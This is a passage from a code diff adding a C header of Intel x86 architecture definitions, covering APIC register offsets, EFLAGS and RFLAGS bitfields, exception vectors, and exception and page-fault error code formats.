Request Register (IRR); bits 255:224. + */ +#define APIC_INTERRUPT_REQUEST_BITS_255_224 0x00000270 + + /** + * Error Status Register. + */ +#define APIC_ERROR_STATUS 0x00000280 + + /** + * LVT Corrected Machine Check Interrupt (CMCI) Register. + */ +#define APIC_LVT_CORRECTED_MACHINE_CHECK_INTERRUPT 0x000002F0 + + /** + * Interrupt Command Register (ICR); bits 0-31. + */ +#define APIC_INTERRUPT_COMMAND_BITS_0_31 0x00000300 + + /** + * Interrupt Command Register (ICR); bits 32-63. + */ +#define APIC_INTERRUPT_COMMAND_BITS_32_63 0x00000310 + + /** + * LVT Timer Register. + */ +#define APIC_LVT_TIMER 0x00000320 + + /** + * LVT Thermal Sensor Register. + */ +#define APIC_LVT_THERMAL_SENSOR 0x00000330 + + /** + * LVT Performance Monitoring Counters Register. + */ +#define APIC_LVT_PERFORMANCE_MONITORING_COUNTERS 0x00000340 + + /** + * LVT LINT0 Register. + */ +#define APIC_LVT_LINT0 0x00000350 + + /** + * LVT LINT1 Register. + */ +#define APIC_LVT_LINT1 0x00000360 + + /** + * LVT Error Register. + */ +#define APIC_LVT_ERROR 0x00000370 + + /** + * Initial Count Register (for Timer). + */ +#define APIC_INITIAL_COUNT 0x00000380 + + /** + * Current Count Register (for Timer). + */ +#define APIC_CURRENT_COUNT 0x00000390 + + /** + * Divide Configuration Register (for Timer). + */ +#define APIC_DIVIDE_CONFIGURATION 0x000003E0 + /** + * @} + */ + + /** + * The 32-bit EFLAGS register contains a group of status flags, a control flag, and a group of system flags. The status + * flags (bits 0, 2, 4, 6, 7, and 11) of the EFLAGS register indicate the results of arithmetic instructions, such as the + * ADD, SUB, MUL, and DIV instructions. + * The system flags and IOPL field in the EFLAGS register control operating-system or executive operations. + * + * @see Vol1[3.4.3(EFLAGS)] (reference) + */ +typedef union +{ + struct + { + /** + * @brief Carry flag + * + * [Bit 0] Set if an arithmetic operation generates a carry or a borrow out of the mostsignificant bit of the result; + * cleared otherwise. This flag indicates an overflow condition for unsigned-integer arithmetic. It is also used in + * multiple-precision arithmetic. + */ + uint32_t carry_flag : 1; +#define EFLAGS_CARRY_FLAG_BIT 0 +#define EFLAGS_CARRY_FLAG_FLAG 0x01 +#define EFLAGS_CARRY_FLAG_MASK 0x01 +#define EFLAGS_CARRY_FLAG(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Reserved - always 1 + */ + uint32_t read_as_1 : 1; +#define EFLAGS_READ_AS_1_BIT 1 +#define EFLAGS_READ_AS_1_FLAG 0x02 +#define EFLAGS_READ_AS_1_MASK 0x01 +#define EFLAGS_READ_AS_1(_) (((_) >> 1) & 0x01) + + /** + * @brief Parity flag + * + * [Bit 2] Set if the least-significant byte of the result contains an even number of 1 bits; cleared otherwise. + */ + uint32_t parity_flag : 1; +#define EFLAGS_PARITY_FLAG_BIT 2 +#define EFLAGS_PARITY_FLAG_FLAG 0x04 +#define EFLAGS_PARITY_FLAG_MASK 0x01 +#define EFLAGS_PARITY_FLAG(_) (((_) >> 2) & 0x01) + uint32_t reserved1 : 1; + + /** + * @brief Auxiliary Carry flag + * + * [Bit 4] Set if an arithmetic operation generates a carry or a borrow out of bit 3 of the result; cleared otherwise. This + * flag is used in binary-coded decimal (BCD) arithmetic. + */ + uint32_t auxiliary_carry_flag : 1; +#define EFLAGS_AUXILIARY_CARRY_FLAG_BIT 4 +#define EFLAGS_AUXILIARY_CARRY_FLAG_FLAG 0x10 +#define EFLAGS_AUXILIARY_CARRY_FLAG_MASK 0x01 +#define EFLAGS_AUXILIARY_CARRY_FLAG(_) (((_) >> 4) & 0x01) + uint32_t reserved2 : 1; + + /** + * @brief Zero flag + * + * [Bit 6] Set if the result is zero; cleared otherwise. + */ + uint32_t zero_flag : 1; +#define EFLAGS_ZERO_FLAG_BIT 6 +#define EFLAGS_ZERO_FLAG_FLAG 0x40 +#define EFLAGS_ZERO_FLAG_MASK 0x01 +#define EFLAGS_ZERO_FLAG(_) (((_) >> 6) & 0x01) + + /** + * @brief Sign flag + * + * [Bit 7] Set equal to the most-significant bit of the result, which is the sign bit of a signed integer. (0 indicates a + * positive value and 1 indicates a negative value.) + */ + uint32_t sign_flag : 1; +#define EFLAGS_SIGN_FLAG_BIT 7 +#define EFLAGS_SIGN_FLAG_FLAG 0x80 +#define EFLAGS_SIGN_FLAG_MASK 0x01 +#define EFLAGS_SIGN_FLAG(_) (((_) >> 7) & 0x01) + + /** + * @brief Trap flag + * + * [Bit 8] Set to enable single-step mode for debugging; clear to disable single-step mode. + */ + uint32_t trap_flag : 1; +#define EFLAGS_TRAP_FLAG_BIT 8 +#define EFLAGS_TRAP_FLAG_FLAG 0x100 +#define EFLAGS_TRAP_FLAG_MASK 0x01 +#define EFLAGS_TRAP_FLAG(_) (((_) >> 8) & 0x01) + + /** + * @brief Interrupt enable flag + * + * [Bit 9] Controls the response of the processor to maskable interrupt requests. Set to respond to maskable interrupts; + * cleared to inhibit maskable interrupts. + */ + uint32_t interrupt_enable_flag : 1; +#define EFLAGS_INTERRUPT_ENABLE_FLAG_BIT 9 +#define EFLAGS_INTERRUPT_ENABLE_FLAG_FLAG 0x200 +#define EFLAGS_INTERRUPT_ENABLE_FLAG_MASK 0x01 +#define EFLAGS_INTERRUPT_ENABLE_FLAG(_) (((_) >> 9) & 0x01) + + /** + * @brief Direction flag + * + * [Bit 10] Controls string instructions (MOVS, CMPS, SCAS, LODS, and STOS). Setting the DF flag causes the string + * instructions to auto-decrement (to process strings from high addresses to low addresses). Clearing the DF flag causes + * the string instructions to auto-increment (process strings from low addresses to high addresses). + */ + uint32_t direction_flag : 1; +#define EFLAGS_DIRECTION_FLAG_BIT 10 +#define EFLAGS_DIRECTION_FLAG_FLAG 0x400 +#define EFLAGS_DIRECTION_FLAG_MASK 0x01 +#define EFLAGS_DIRECTION_FLAG(_) (((_) >> 10) & 0x01) + + /** + * @brief Overflow flag + * + * [Bit 11] Set if the integer result is too large a positive number or too small a negative number (excluding the + * sign-bit) to fit in the destination operand; cleared otherwise. This flag indicates an overflow condition for + * signed-integer (two's complement) arithmetic. + */ + uint32_t overflow_flag : 1; +#define EFLAGS_OVERFLOW_FLAG_BIT 11 +#define EFLAGS_OVERFLOW_FLAG_FLAG 0x800 +#define EFLAGS_OVERFLOW_FLAG_MASK 0x01 +#define EFLAGS_OVERFLOW_FLAG(_) (((_) >> 11) & 0x01) + + /** + * @brief I/O privilege level field + * + * [Bits 13:12] Indicates the I/O privilege level of the currently running program or task. The current privilege level + * (CPL) of the currently running program or task must be less than or equal to the I/O privilege level to access the I/O + * address space. The POPF and IRET instructions can modify this field only when operating at a CPL of 0. + */ + uint32_t io_privilege_level : 2; +#define EFLAGS_IO_PRIVILEGE_LEVEL_BIT 12 +#define EFLAGS_IO_PRIVILEGE_LEVEL_FLAG 0x3000 +#define EFLAGS_IO_PRIVILEGE_LEVEL_MASK 0x03 +#define EFLAGS_IO_PRIVILEGE_LEVEL(_) (((_) >> 12) & 0x03) + + /** + * @brief Nested task flag + * + * [Bit 14] Controls the chaining of interrupted and called tasks. Set when the current task is linked to the previously + * executed task; cleared when the current task is not linked to another task. + */ + uint32_t nested_task_flag : 1; +#define EFLAGS_NESTED_TASK_FLAG_BIT 14 +#define EFLAGS_NESTED_TASK_FLAG_FLAG 0x4000 +#define EFLAGS_NESTED_TASK_FLAG_MASK 0x01 +#define EFLAGS_NESTED_TASK_FLAG(_) (((_) >> 14) & 0x01) + uint32_t reserved3 : 1; + + /** + * @brief Resume flag + * + * [Bit 16] Controls the processor's response to debug exceptions. + */ + uint32_t resume_flag : 1; +#define EFLAGS_RESUME_FLAG_BIT 16 +#define EFLAGS_RESUME_FLAG_FLAG 0x10000 +#define EFLAGS_RESUME_FLAG_MASK 0x01 +#define EFLAGS_RESUME_FLAG(_) (((_) >> 16) & 0x01) + + /** + * @brief Virtual-8086 mode flag + * + * [Bit 17] Set to enable virtual-8086 mode; clear to return to protected mode without virtual-8086 mode semantics. + */ + uint32_t virtual_8086_mode_flag : 1; +#define EFLAGS_VIRTUAL_8086_MODE_FLAG_BIT 17 +#define EFLAGS_VIRTUAL_8086_MODE_FLAG_FLAG 0x20000 +#define EFLAGS_VIRTUAL_8086_MODE_FLAG_MASK 0x01 +#define EFLAGS_VIRTUAL_8086_MODE_FLAG(_) (((_) >> 17) & 0x01) + + /** + * @brief Alignment check (or access control) flag + * + * [Bit 18] If the AM bit is set in the CR0 register, alignment checking of user-mode data accesses is enabled if and only + * if this flag is 1. If the SMAP bit is set in the CR4 register, explicit supervisor-mode data accesses to user-mode pages + * are allowed if and only if this bit is 1. + * + * @see Vol3A[4.6(ACCESS RIGHTS)] + */ + uint32_t alignment_check_flag : 1; +#define EFLAGS_ALIGNMENT_CHECK_FLAG_BIT 18 +#define EFLAGS_ALIGNMENT_CHECK_FLAG_FLAG 0x40000 +#define EFLAGS_ALIGNMENT_CHECK_FLAG_MASK 0x01 +#define EFLAGS_ALIGNMENT_CHECK_FLAG(_) (((_) >> 18) & 0x01) + + /** + * @brief Virtual interrupt flag + * + * [Bit 19] Virtual image of the IF flag. Used in conjunction with the VIP flag. (To use this flag and the VIP flag the + * virtual mode extensions are enabled by setting the VME flag in control register CR4.) + */ + uint32_t virtual_interrupt_flag : 1; +#define EFLAGS_VIRTUAL_INTERRUPT_FLAG_BIT 19 +#define EFLAGS_VIRTUAL_INTERRUPT_FLAG_FLAG 0x80000 +#define EFLAGS_VIRTUAL_INTERRUPT_FLAG_MASK 0x01 +#define EFLAGS_VIRTUAL_INTERRUPT_FLAG(_) (((_) >> 19) & 0x01) + + /** + * @brief Virtual interrupt pending flag + * + * [Bit 20] Set to indicate that an interrupt is pending; clear when no interrupt is pending. (Software sets and clears + * this flag; the processor only reads it.) Used in conjunction with the VIF flag. + */ + uint32_t virtual_interrupt_pending_flag : 1; +#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_BIT 20 +#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_FLAG 0x100000 +#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_MASK 0x01 +#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG(_) (((_) >> 20) & 0x01) + + /** + * @brief Identification flag + * + * [Bit 21] The ability of a program to set or clear this flag indicates support for the CPUID instruction. + */ + uint32_t identification_flag : 1; +#define EFLAGS_IDENTIFICATION_FLAG_BIT 21 +#define EFLAGS_IDENTIFICATION_FLAG_FLAG 0x200000 +#define EFLAGS_IDENTIFICATION_FLAG_MASK 0x01 +#define EFLAGS_IDENTIFICATION_FLAG(_) (((_) >> 21) & 0x01) + uint32_t reserved4 : 10; + }; + + uint32_t flags; +} eflags; + +/** + * The 64-bit RFLAGS register contains a group of status flags, a control flag, and a group of system flags in 64-bit mode. + * The upper 32 bits of RFLAGS register is reserved. The lower 32 bits of RFLAGS is the same as EFLAGS. + * + * @see EFLAGS + * @see Vol1[3.4.3.4(RFLAGS Register in 64-Bit Mode)] (reference) + */ +typedef union +{ + struct + { + /** + * @brief Carry flag + * + * [Bit 0] See the description in EFLAGS. + */ + uint64_t carry_flag : 1; +#define RFLAGS_CARRY_FLAG_BIT 0 +#define RFLAGS_CARRY_FLAG_FLAG 0x01 +#define RFLAGS_CARRY_FLAG_MASK 0x01 +#define RFLAGS_CARRY_FLAG(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Reserved - always 1 + */ + uint64_t read_as_1 : 1; +#define RFLAGS_READ_AS_1_BIT 1 +#define RFLAGS_READ_AS_1_FLAG 0x02 +#define RFLAGS_READ_AS_1_MASK 0x01 +#define RFLAGS_READ_AS_1(_) (((_) >> 1) & 0x01) + + /** + * @brief Parity flag + * + * [Bit 2] See the description in EFLAGS. + */ + uint64_t parity_flag : 1; +#define RFLAGS_PARITY_FLAG_BIT 2 +#define RFLAGS_PARITY_FLAG_FLAG 0x04 +#define RFLAGS_PARITY_FLAG_MASK 0x01 +#define RFLAGS_PARITY_FLAG(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 1; + + /** + * @brief Auxiliary Carry flag + * + * [Bit 4] See the description in EFLAGS. + */ + uint64_t auxiliary_carry_flag : 1; +#define RFLAGS_AUXILIARY_CARRY_FLAG_BIT 4 +#define RFLAGS_AUXILIARY_CARRY_FLAG_FLAG 0x10 +#define RFLAGS_AUXILIARY_CARRY_FLAG_MASK 0x01 +#define RFLAGS_AUXILIARY_CARRY_FLAG(_) (((_) >> 4) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief Zero flag + * + * [Bit 6] See the description in EFLAGS. + */ + uint64_t zero_flag : 1; +#define RFLAGS_ZERO_FLAG_BIT 6 +#define RFLAGS_ZERO_FLAG_FLAG 0x40 +#define RFLAGS_ZERO_FLAG_MASK 0x01 +#define RFLAGS_ZERO_FLAG(_) (((_) >> 6) & 0x01) + + /** + * @brief Sign flag + * + * [Bit 7] See the description in EFLAGS. + */ + uint64_t sign_flag : 1; +#define RFLAGS_SIGN_FLAG_BIT 7 +#define RFLAGS_SIGN_FLAG_FLAG 0x80 +#define RFLAGS_SIGN_FLAG_MASK 0x01 +#define RFLAGS_SIGN_FLAG(_) (((_) >> 7) & 0x01) + + /** + * @brief Trap flag + * + * [Bit 8] See the description in EFLAGS. + */ + uint64_t trap_flag : 1; +#define RFLAGS_TRAP_FLAG_BIT 8 +#define RFLAGS_TRAP_FLAG_FLAG 0x100 +#define RFLAGS_TRAP_FLAG_MASK 0x01 +#define RFLAGS_TRAP_FLAG(_) (((_) >> 8) & 0x01) + + /** + * @brief Interrupt enable flag + * + * [Bit 9] See the description in EFLAGS. + */ + uint64_t interrupt_enable_flag : 1; +#define RFLAGS_INTERRUPT_ENABLE_FLAG_BIT 9 +#define RFLAGS_INTERRUPT_ENABLE_FLAG_FLAG 0x200 +#define RFLAGS_INTERRUPT_ENABLE_FLAG_MASK 0x01 +#define RFLAGS_INTERRUPT_ENABLE_FLAG(_) (((_) >> 9) & 0x01) + + /** + * @brief Direction flag + * + * [Bit 10] See the description in EFLAGS. + */ + uint64_t direction_flag : 1; +#define RFLAGS_DIRECTION_FLAG_BIT 10 +#define RFLAGS_DIRECTION_FLAG_FLAG 0x400 +#define RFLAGS_DIRECTION_FLAG_MASK 0x01 +#define RFLAGS_DIRECTION_FLAG(_) (((_) >> 10) & 0x01) + + /** + * @brief Overflow flag + * + * [Bit 11] See the description in EFLAGS. + */ + uint64_t overflow_flag : 1; +#define RFLAGS_OVERFLOW_FLAG_BIT 11 +#define RFLAGS_OVERFLOW_FLAG_FLAG 0x800 +#define RFLAGS_OVERFLOW_FLAG_MASK 0x01 +#define RFLAGS_OVERFLOW_FLAG(_) (((_) >> 11) & 0x01) + + /** + * @brief I/O privilege level field + * + * [Bits 13:12] See the description in EFLAGS. + */ + uint64_t io_privilege_level : 2; +#define RFLAGS_IO_PRIVILEGE_LEVEL_BIT 12 +#define RFLAGS_IO_PRIVILEGE_LEVEL_FLAG 0x3000 +#define RFLAGS_IO_PRIVILEGE_LEVEL_MASK 0x03 +#define RFLAGS_IO_PRIVILEGE_LEVEL(_) (((_) >> 12) & 0x03) + + /** + * @brief Nested task flag + * + * [Bit 14] See the description in EFLAGS. + */ + uint64_t nested_task_flag : 1; +#define RFLAGS_NESTED_TASK_FLAG_BIT 14 +#define RFLAGS_NESTED_TASK_FLAG_FLAG 0x4000 +#define RFLAGS_NESTED_TASK_FLAG_MASK 0x01 +#define RFLAGS_NESTED_TASK_FLAG(_) (((_) >> 14) & 0x01) + uint64_t reserved3 : 1; + + /** + * @brief Resume flag + * + * [Bit 16] See the description in EFLAGS. + */ + uint64_t resume_flag : 1; +#define RFLAGS_RESUME_FLAG_BIT 16 +#define RFLAGS_RESUME_FLAG_FLAG 0x10000 +#define RFLAGS_RESUME_FLAG_MASK 0x01 +#define RFLAGS_RESUME_FLAG(_) (((_) >> 16) & 0x01) + + /** + * @brief Virtual-8086 mode flag + * + * [Bit 17] See the description in EFLAGS. + */ + uint64_t virtual_8086_mode_flag : 1; +#define RFLAGS_VIRTUAL_8086_MODE_FLAG_BIT 17 +#define RFLAGS_VIRTUAL_8086_MODE_FLAG_FLAG 0x20000 +#define RFLAGS_VIRTUAL_8086_MODE_FLAG_MASK 0x01 +#define RFLAGS_VIRTUAL_8086_MODE_FLAG(_) (((_) >> 17) & 0x01) + + /** + * @brief Alignment check (or access control) flag + * + * [Bit 18] See the description in EFLAGS. + * + * @see Vol3A[4.6(ACCESS RIGHTS)] + */ + uint64_t alignment_check_flag : 1; +#define RFLAGS_ALIGNMENT_CHECK_FLAG_BIT 18 +#define RFLAGS_ALIGNMENT_CHECK_FLAG_FLAG 0x40000 +#define RFLAGS_ALIGNMENT_CHECK_FLAG_MASK 0x01 +#define RFLAGS_ALIGNMENT_CHECK_FLAG(_) (((_) >> 18) & 0x01) + + /** + * @brief Virtual interrupt flag + * + * [Bit 19] See the description in EFLAGS. + */ + uint64_t virtual_interrupt_flag : 1; +#define RFLAGS_VIRTUAL_INTERRUPT_FLAG_BIT 19 +#define RFLAGS_VIRTUAL_INTERRUPT_FLAG_FLAG 0x80000 +#define RFLAGS_VIRTUAL_INTERRUPT_FLAG_MASK 0x01 +#define RFLAGS_VIRTUAL_INTERRUPT_FLAG(_) (((_) >> 19) & 0x01) + + /** + * @brief Virtual interrupt pending flag + * + * [Bit 20] See the description in EFLAGS. + */ + uint64_t virtual_interrupt_pending_flag : 1; +#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_BIT 20 +#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_FLAG 0x100000 +#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_MASK 0x01 +#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG(_) (((_) >> 20) & 0x01) + + /** + * @brief Identification flag + * + * [Bit 21] See the description in EFLAGS. + */ + uint64_t identification_flag : 1; +#define RFLAGS_IDENTIFICATION_FLAG_BIT 21 +#define RFLAGS_IDENTIFICATION_FLAG_FLAG 0x200000 +#define RFLAGS_IDENTIFICATION_FLAG_MASK 0x01 +#define RFLAGS_IDENTIFICATION_FLAG(_) (((_) >> 21) & 0x01) + uint64_t reserved4 : 42; + }; + + uint64_t flags; +} rflags; + +/** + * @defgroup exceptions \ + * Exceptions + * @{ + */ + /** + * @brief Exceptions that can occur when the instruction is executed in protected mode. + * Each exception is given a mnemonic that consists of a pound sign (\#) followed by two letters and an optional error code + * in parentheses. For example, \#GP(0) denotes a general protection exception with an error code of 0 + * + * @see Vol2A[3.1.1.13(Protected Mode Exceptions Section)] (reference) + * @see Vol3A[6.3.1(External Interrupts)] (reference) + */ +typedef enum +{ + /** + * #DE - Divide Error. + * Source: DIV and IDIV instructions. + * Error Code: No. + */ + divide_error = 0x00000000, + + /** + * #DB - Debug. + * Source: Any code or data reference. + * Error Code: No. + */ + debug = 0x00000001, + + /** + * Nonmaskable Interrupt. + * Source: Generated externally by asserting the processor's NMI pin or + * through an NMI request set by the I/O APIC to the local APIC. + * Error Code: No. + */ + nmi = 0x00000002, + + /** + * #BP - Breakpoint. + * Source: INT3 instruction. + * Error Code: No. + */ + breakpoint = 0x00000003, + + /** + * #OF - Overflow. + * Source: INTO instruction. + * Error Code: No. + */ + overflow = 0x00000004, + + /** + * #BR - BOUND Range Exceeded. + * Source: BOUND instruction. + * Error Code: No. + */ + bound_range_exceeded = 0x00000005, + + /** + * #UD - Invalid Opcode (Undefined Opcode). + * Source: UD instruction or reserved opcode. + * Error Code: No. + */ + invalid_opcode = 0x00000006, + + /** + * #NM - Device Not Available (No Math Coprocessor). + * Source: Floating-point or WAIT/FWAIT instruction. + * Error Code: No. + */ + device_not_available = 0x00000007, + + /** + * #DF - Double Fault. + * Source: Any instruction that can generate an exception, an NMI, or an INTR. + * Error Code: Yes (zero). + */ + double_fault = 0x00000008, + + /** + * #\## - Coprocessor Segment Overrun (reserved). + * Source: Floating-point instruction. + * Error Code: No. + * + * @note Processors after the Intel386 processor do not generate this exception. + */ + coprocessor_segment_overrun = 0x00000009, + + /** + * #TS - Invalid TSS. + * Source: Task switch or TSS access. + * Error Code: Yes. + */ + invalid_tss = 0x0000000A, + + /** + * #NP - Segment Not Present. + * Source: Loading segment registers or accessing system segments. + * Error Code: Yes. + */ + segment_not_present = 0x0000000B, + + /** + * #SS - Stack Segment Fault. + * Source: Stack operations and SS register loads. + * Error Code: Yes. + */ + stack_segment_fault = 0x0000000C, + + /** + * #GP - General Protection. + * Source: Any memory reference and other protection checks. + * Error Code: Yes. + */ + general_protection = 0x0000000D, + + /** + * #PF - Page Fault. + * Source: Any memory reference. + * Error Code: Yes. + */ + page_fault = 0x0000000E, + + /** + * #MF - Floating-Point Error (Math Fault). + * Source: Floating-point or WAIT/FWAIT instruction. + * Error Code: No. + */ + x87_floating_point_error = 0x00000010, + + /** + * #AC - Alignment Check. + * Source: Any data reference in memory. + * Error Code: Yes. + */ + alignment_check = 0x00000011, + + /** + * #MC - Machine Check. + * Source: Model dependent machine check errors. + * Error Code: No. + */ + machine_check = 0x00000012, + + /** + * #XM - SIMD Floating-Point Numeric Error. + * Source: SSE/SSE2/SSE3 floating-point instructions. + * Error Code: No. + */ + simd_floating_point_error = 0x00000013, + + /** + * #VE - Virtualization Exception. + * Source: EPT violations. + * Error Code: No. + */ + virtualization_exception = 0x00000014, +} exception_vector; + +/** + * @brief When an exception condition is related to a specific segment selector or IDT vector, the processor pushes an + * error code onto the stack of the exception handler (whether it is a procedure or task). The error code resembles a + * segment selector; however, instead of a TI flag and RPL field, the error code contains 3 different flags + * + * @see Vol3A[6.13(ERROR CODE)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bit 0] When set, indicates that the exception occurred during delivery of an event external to the program, such as an + * interrupt or an earlier exception. The bit is cleared if the exception occurred during delivery of a software interrupt + * (INT n, INT3, or INTO). + */ + uint32_t external_event : 1; +#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT_BIT 0 +#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT_FLAG 0x01 +#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT_MASK 0x01 +#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] When set, indicates that the index portion of the error code refers to a gate descriptor in the IDT; when clear, + * indicates that the index refers to a descriptor in the GDT or the current LDT. + */ + uint32_t descriptor_location : 1; +#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION_BIT 1 +#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION_FLAG 0x02 +#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION_MASK 0x01 +#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Only used when the IDT flag is clear. When set, the TI flag indicates that the index portion of the error code + * refers to a segment or gate descriptor in the LDT; when clear, it indicates that the index refers to a descriptor in the + * current GDT. + */ + uint32_t gdt_ldt : 1; +#define EXCEPTION_ERROR_CODE_GDT_LDT_BIT 2 +#define EXCEPTION_ERROR_CODE_GDT_LDT_FLAG 0x04 +#define EXCEPTION_ERROR_CODE_GDT_LDT_MASK 0x01 +#define EXCEPTION_ERROR_CODE_GDT_LDT(_) (((_) >> 2) & 0x01) + + /** + * [Bits 15:3] The segment selector index field provides an index into the IDT, GDT, or current LDT to the segment or gate + * selector being referenced by the error code. In some cases the error code is null (all bits are clear except possibly + * EXT). A null error code indicates that the error was not caused by a reference to a specific segment or that a null + * segment selector was referenced in an operation. + * + * @note The format of the error code is different for page-fault exceptions (#PF). + */ + uint32_t index : 13; +#define EXCEPTION_ERROR_CODE_INDEX_BIT 3 +#define EXCEPTION_ERROR_CODE_INDEX_FLAG 0xFFF8 +#define EXCEPTION_ERROR_CODE_INDEX_MASK 0x1FFF +#define EXCEPTION_ERROR_CODE_INDEX(_) (((_) >> 3) & 0x1FFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; +} exception_error_code; + +/** + * @brief Page fault exception + * + * @see Vol3A[4.7(PAGE-FAULT EXCEPTIONS)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bit 0] This flag is 0 if there is no translation for the linear address because the P flag was 0 in one of the + * pagingstructure entries used to translate that address. + */ + uint32_t present : 1; +#define PAGE_FAULT_EXCEPTION_PRESENT_BIT 0 +#define PAGE_FAULT_EXCEPTION_PRESENT_FLAG 0x01 +#define PAGE_FAULT_EXCEPTION_PRESENT_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] If the access causing the page-fault exception was a write, this flag is 1; otherwise, it is 0. This flag + * describes the access causing the page-fault exception, not the access rights specified by paging. + */ + uint32_t write : 1; +#define PAGE_FAULT_EXCEPTION_WRITE_BIT 1 +#define PAGE_FAULT_EXCEPTION_WRITE_FLAG 0x02 +#define PAGE_FAULT_EXCEPTION_WRITE_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If a user-mode access caused the page-fault exception, this flag is 1; it is 0 if a supervisor-mode access did + * so. This flag describes the access causing the page-fault exception, not the access rights specified by paging. + * + * @see Vol3A[4.6(ACCESS RIGHTS)] + */ + uint32_t user_mode_access : 1; +#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS_BIT 2 +#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS_FLAG 0x04 +#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] This flag is 1 if there is no translation for the linear address because a reserved bit was set in one of the + * pagingstructure entries used to translate that address. (Because reserved bits are not checked in a paging-structure + * entry whose P flag is 0, bit 3 of the error code can be set only if bit 0 is also set). Bits reserved in the + * paging-structure entries are reserved for future functionality. Software developers should be aware that such bits may + * be used in the future and that a paging-structure entry that causes a page-fault exception on one processor might not do + * so in the future. + */ + uint32_t reserved_bit_violation : 1; +#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION_BIT 3 +#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION_FLAG 0x08 +#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] This flag is 1 if (1) the access causing the page-fault exception was an instruction fetch; and (2) either (a) + * CR4.SMEP = 1; or (b) both (i) CR4.PAE = 1 (either PAE paging or 4-level paging is in use); and (ii) IA32_EFER.NXE = 1. + * Otherwise, the flag is 0. This flag describes the access causing the page-fault exception, not the access rights + * specified by paging. + */ + uint32_t execute : 1; +#define PAGE_FAULT_EXCEPTION_EXECUTE_BIT 4 +#define PAGE_FAULT_EXCEPTION_EXECUTE_FLAG 0x10 +#define PAGE_FAULT_EXCEPTION_EXECUTE_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_EXECUTE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] This flag is 1 if (1) IA32_EFER.LMA = CR4.PKE = 1; (2) the access causing the page-fault exception was a data + * access; (3) the linear address was a user-mode address with protection key i; and (5) the PKRU register is such that + * either (a) ADi = 1; or (b) the following all hold: (i) WDi = 1; (ii) the access is a write access; and (iii) either + * CR0.WP = 1 or the access causing the page-fault exception was a user-mode access. + * + * @see Vol3A[4.6.2(Protection Keys)] + */ + uint32_t protection_key_violation : 1; +#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION_BIT 5 +#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION_FLAG 0x20 +#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION(_) (((_) >> 5) & 0x01) + uint32_t reserved1 : 9; + + /** + * [Bit 15] This flag is 1 if the exception is unrelated to paging and resulted from violation of SGX-specific + * access-control requirements. Because such a violation can occur only if there is no ordinary page fault, this flag is + * set only if the P flag (bit 0) is 1 and the RSVD flag (bit 3) and the PK flag (bit 5) are both 0. + */ + uint32_t sgx : 1; +#define PAGE_FAULT_EXCEPTION_SGX_BIT 15 +#define PAGE_FAULT_EXCEPTION_SGX_FLAG 0x8000 +#define PAGE_FAULT_EXCEPTION_SGX_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_SGX(_) (((_) >> 15) & 0x01) + uint32_t reserved2 : 16; + }; + + uint32_t flags; +} page_fault_exception; + +/** + * @} + */ + + /** + * @defgroup memory_type \ + * Memory caching type + * + * The processor allows any area of system memory to be cached in the L1, L2, and L3 caches. In individual pages or regions + * of system memory, it allows the type of caching (also called memory type) to be specified. + * + * @see Vol3A[11.11(MEMORY TYPE RANGE REGISTERS (MTRRS))] + * @see Vol3A[11.5(CACHE CONTROL)] + * @see Vol3A[11.3(METHODS OF CACHING AVAILABLE)] (reference) + * @{ + */ + /** + * @brief Strong Uncacheable (UC) + * + * System memory locations are not cached. All reads and writes appear on the system bus and are executed in program order + * without reordering. No speculative memory accesses, pagetable walks, or prefetches of speculated branch targets are + * made. This type of cache-control is useful for memory-mapped I/O devices. When used with normal RAM, it greatly reduces + * processor performance. + */ +#define MEMORY_TYPE_UNCACHEABLE 0x00000000 + + /** + * @brief Write Combining (WC) + * + * System memory locations are not cached (as with uncacheable memory) and coherency is not enforced by the processor's bus + * coherency protocol. Speculative reads are allowed. Writes may be delayed and combined in the write combining buffer (WC + * buffer) to reduce memory accesses. If the WC 